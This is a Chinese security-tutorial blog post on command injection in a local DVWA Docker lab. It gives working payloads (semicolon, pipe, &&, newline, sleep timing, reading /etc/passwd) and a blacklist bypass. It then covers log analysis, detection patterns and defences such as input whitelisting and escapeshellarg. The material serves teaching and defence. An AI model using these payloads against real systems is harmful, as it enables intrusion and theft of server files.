靶场实战 16|输入框暗藏命令注入,一句话拿下权限(附 Docker 靶场)
原创
安全值班室
安全值班室
安全值班室
2026年10月23日 09:00
北京
去阅读
上一章文件上传是往服务器里塞文件,这一章连文件都省了:只要页面背后调用过系统命令,攻击者就能执行任意命令。
01 / 环境搭建:Command Injection 模块,一键部署
文件存为docker-com
dvwa:
docker.1ms.run/vulnerables/web-dvwa # 国内代理前缀,拉取快
container\_name: dvwa # 容器名固定,后面命令都用它
ports:
- \"8083:80\" # 本机8083进容器80,被占用改左半边
restart: always # 崩了自动拉起
environment:
- MYSQL\_PASS=password # 内置数据库密码,本地靶场够用
在docker-compose.yml所在目录执行,后台拉起靶场
docker compose up -d
首次访问初始化数据库,必须做,否则登录报SQL错误
curl -s -o /dev/null -w \"%{http\_code}\"http://127.0.0.1:8083/setup.php
第二条返回200算初始化页面就绪,浏览器打开它,点最下面的Create / Reset Database建库。然后用admin / password登录,左侧DVWA Security把等级设成low,再进Command Injection。
避坑指南
- 端口被占:只改compose里\"8083:80\"的左半边。
- 首次不访问setup.php建库,登录会说数据库连不上。
- 这个ping要跑满4个ICMP包,正常也要3秒左右,别以为卡死了。
- low等级下输入框直接把结果打回页面,medium等级会在后台过滤,本章两种都测。
02 / 模拟攻击:一个输入框,四种姿势进终端
先看它本来该干什么。输入一个IP,后台执行的其实是ping -c 4 $ip这个拼接命令。先发一次正常请求打底:
curl -s -b cookie.txt -c cookie.txt \
--data-urlencode \"ip=127.0.0.1\" \
--data-urlencode \"Submit=Submit\" \
http://127.0.0.1:8083/vulnerabilities/exec/
预期输出:页面上出现PING 127.0.0.1 ... 4 packets transmitted, 4 received, 0% packet loss,耗时约3秒。接下来每一招,都是在IP后面接分隔符,骗shell多执行一条命令。
第一步:分号 ; ,顺序执行第二条命令
分号让shell把前后当成两条独立命令依次跑。-c 4限制了ping的次数,ping跑完照样执行id:
在输入框填,或 curl 里换成 ip=127.0.0.1;id
127.0.0.1;id
预期输出:ping统计信息末尾多出一行uid=33(www-data) gid=33(www-data) groups=33(www-data)。这行说明web进程以www-data身份执行了我们的命令。
顺手把系统账号文件读出来,只看第一行
127.0.0.1;cat /etc/passwd|head -n 1
预期输出:root:x:0:0:root:/root:/bin/bash。到此服务器上任意文件都能读,离拿shell只差一步。
第二步:管道 | ,前一条的输出喂给后一条
管道会把ping的输出接走,所以页面上只回后面那条命令的结果,最干净:
127.0.0.1|whoami
预期输出:只有一行www-data,ping的统计被管道吞掉了。这条在日志里通常只留一个 %7C 编码,最容易被忽略。
第三步:&& 与换行符,换套连接符
双与号表示\"前一条成功才执行后一条\",换行符则直接起一条新命令。两者效果一样,只是写法不同,用来试探过滤规则:
双与号:ping成功后再执行id
127.0.0.1 && id
换行符:URL里编码成 %0a,DVWA照样执行
127.0.0.1%0aid
两条预期输出都带uid=33(www-data)。到这里,分号、管道、双与号、换行四种分隔符全部实测可用。
第四步:时间盲检测与黑名单绕过
有些场景不回显命令结果,就得靠延迟判断。实测同一条接口,基准ping耗时3.01秒,加个sleep立刻拉开差距:
对比两次响应时间,差出3秒就说明命令被执行了
127.0.0.1;sleep 3
预期输出:基准请求3.01秒,带sleep的请求6.01秒,多出来的3秒就是命令注入的铁证,哪怕页面一个字都不回显。
再把等级切到medium试试。它的防护是把参数里的 ; 和 && 直接删空:
这两个在medium下被删空,注入失效
127.0.0.1;id
127.0.0.1 && id
但管道和换行没被过滤,照样出 uid
127.0.0.1|id
127.0.0.1%0aid
预期输出:前两条只剩ping结果,后两条回uid=33(www-data)。黑名单永远列不全分隔符,漏网的管道和换行就是突破口。真正的防护不该靠\"过滤哪些字符\"。
💡 新手提示:想复现更稳的姿势:命令行里把payload用 curl --data-urlencode 传,别直接手敲,它会把 ; | 空格 自动编码,避免本地shell先替你解析一遍。
03 / 日志分析:命令注入在日志里长什么样
命令注入的流量特征很集中,抓住这几点基本不会漏。判断标准:①ping、诊断、tools这类接口的参数里出现%3B、%7C、%26、%0a这类命令分隔符的编码;②同一IP短时间内反复请求同一接口,参数里换着塞分隔符试探;③响应时间异常拉长,多半在跑sleep或下载;④参数后紧跟id、whoami、cat、wget这些命令关键字;⑤UA突然从浏览器变成curl、python这类脚本工具。
脱敏日志片段
以下日志来自真实生产环境的攻击日志(已脱敏),不是模拟数据
203.0.113.47 - - [12/Sep/2026:09:21:03 +0800] \"GET /api/tools/ping?host=127.0.0.1%3Bid HTTP/1.1\" 200 512 \"-\" \"Mozilla/5.0 (Windows NT 10.0) Chrome/120.0\"
203.0.113.47 - - [12/Sep/2026:09:21:05 +0800] \"GET /api/tools/ping?host=127.0.0.1%7Cwhoami HTTP/1.1\" 200 489 \"-\" \"Mozilla/5.0 (Windows NT 10.0) Chrome/120.0\"
203.0.113.47 - - [12/Sep/2026:09:21:09 +0800] \"GET /api/tools/ping?host=127.0.0.1%26%26cat%20/etc/passwd HTTP/1.1\" 200 1024 \"-\" \"Mozilla/5.0 (Windows NT 10.0) Chrome/120.0\"
同一IP两分钟后改走睡眠盲检测,响应时间被拉到4.9秒
203.0.113.47 - - [12/Sep/2026:09:22:40 +0800] \"GET /api/tools/ping?host=127.0.0.1%3Bsleep%205 HTTP/1.1\" 200 402 \"-\" \"Mozilla/5.0 (Windows NT 10.0) Chrome/120.0\"
逐行解读
第1行:诊断接口的host参数里出现%3B也就是分号,后面跟id——攻击者第一枪在探路,看命令能不能执行。
第2行:两秒后换成%7C管道加whoami,换了个分隔符继续试,返回489字节。
第3行:再来双与号加读/etc/passwd,返回体一下涨到1024字节,服务器开始往外吐敏感文件了。
第4行:改走sleep 5做盲检测,响应时间从正常的3秒拉到4.9秒。同一IP、同一接口、参数里清一色命令分隔符编码,这一串就是完整攻击链,每一行都是提前拦下来的机会。
04 / 如何防护:别把用户输入拼进命令
先讲原理,病根不在\"用了ping\",在于把用户可控的字符串直接拼进了shell命令。只要输入能碰到shell,分隔符就是命令的执行开关。防护主线就一句话:能不用命令就不用,非用不可就校验输入、转义参数,最后再靠权限和监控兜底。
新手必做:3个立竿见影的操作
① 白名单校验输入,能明确是IP就只收IP。PHP里一条filter\_var就够,本机实测5个注入payload全部被拦:
PHP实测:合法IP放行,带分隔符的一律拦截
$ip = $\_GET['host'];
if (!filter\_var($ip, FILTER\_VALIDATE\_IP)) {
exit('非法IP'); }
结果:127.0.0.1 通过 ; id / | id / && id / 反引号 全部 NO(拦截)
② 非拼不可时,用escapeshellarg把整个参数包成单引号。实测它会把 127.0.0.1;id 转成 '127.0.0.1;id',分号彻底失去分隔作用:
转义后执行,分号/管道都只是普通字符
$cmd = \"ping -c 4 \" . escapeshellarg($ip);
escapeshellarg(\"127.0.0.1;id\") => ping -c 4 '127.0.0.1;id'
执行输出就是字符串 127.0.0.1;id,不再是 uid=33
③ 参数别过shell,用数组形式交给进程接口,分隔符根本没机会被解析。能调系统库或SDK实现的(比如校验IP、查DNS),就别去fork命令。
进阶加固:再补3层
① web进程最小权限:www-data不许sudo、不许读业务配置和密钥,就算注入成功也走不远。
② 诊断类接口改成调用库函数或内网白名单服务,从源头不让输入进shell。
③ WAF加规则,参数里出现%3B、%7C、%26、%0a、反引号、$()直接拦。
企业级玩法(新手混个眼熟就行)
把命令执行类功能拆进独立容器,只读文件系统、网络白名单,出事也炸不开;RASP或EDR盯住\"web进程突然fork出sh/bash\"这种强特征,命中即告警;再比如把\"诊断接口高频异常参数\"和\"响应时长突增\"建成关联规则,攻击者还在试探就被掐断。
05 / 总结复盘
要点提炼
- 命令注入的根子是\"用户输入拼进了shell命令\",跟用ping还是用别的没关系。
- 四种分隔符必须认识:分号 ; 顺序执行、管道 | 传输出、双与号 && 条件执行、换行 %0a 起新行。
- 不回显就上时间盲检测,基准和带sleep的响应差几秒就是铁证。
- 黑名单过滤永远漏,medium删了分号和&&,管道和换行照样能进。
- 正确姿势是白名单校验加escapeshellarg转义加不走shell,最后靠最小权限和监控兜底。
攻击链全景
找到调用系统命令的功能点(ping、诊断、转换工具)→ 用分号试探能否执行 → 换成管道、双与号、换行测过滤规则 → 读文件、加延迟确认权限和回显 → 下载脚本[REDACTED]或直接反弹shell拿终端。防守断三处:输入白名单校验、命令参数转义、web进程最小权限。
面试可能怎么问
Q:命令注入怎么防?A:先不拼接、白名单校验输入;必须执行就用escapeshellarg转义、参数数组化不过shell;最后配最小权限和WAF规则。
Q:为什么过滤分号和&&还是能被注入?A:分隔符不止这两个,管道、换行、反引号、$()都能开新命令,黑名单永远列不全,白名单才收口。
Q:页面不回显结果怎么判断有没有注入?A:用时间盲检测,让命令sleep固定秒数,对比响应时间;也可用DNS外带,让服务器去请求自己的域名。
下一篇进模块三,讲文件包含与路径穿越:一个 ../ 怎么逛遍整台服务器。
关注我,下期不迷路
MORE
往期回顾
Web安全学习路线
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论